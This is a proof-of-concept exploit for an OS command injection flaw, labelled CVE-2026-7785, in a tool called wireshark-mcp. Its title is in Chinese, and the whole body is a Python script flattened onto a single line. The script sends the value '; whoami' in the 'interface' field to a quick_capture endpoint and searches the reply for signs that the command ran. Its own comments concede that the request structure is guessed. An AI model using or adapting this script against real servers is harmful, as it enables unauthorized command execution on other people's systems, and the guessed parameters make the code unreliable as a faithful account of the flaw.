CVE-2026-7785 wireshark-mcp OS命令注入漏洞

import requests def exploit_os_command_injection(target_url): """ PoC for CVE-2026-7785 OS Command Injection in wireshark-mcp. This script sends a malicious payload to the quick_capture function. """ # The payload attempts to execute 'whoami' on the target system # Assuming the vulnerable parameter injects into a shell command. injection_payload = "; whoami" # Construct the data payload based on potential API structure data = { "interface": injection_payload, "duration": "1" } try: print(f"[*] Sending exploit payload to {target_url}...") response = requests.post(target_url, data=data, timeout=5) # Check if the response contains signs of command execution if response.status_code == 200: print("[+] Request sent successfully.") print("[!] Response body:") print(response.text) # Heuristic to check if command executed (e.g., finding a username) if "root" in response.text or "www-data" in response.text or "uid" in response.text: print("[+] Potential command injection detected!") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost:8000/quick_capture" exploit_os_command_injection(target)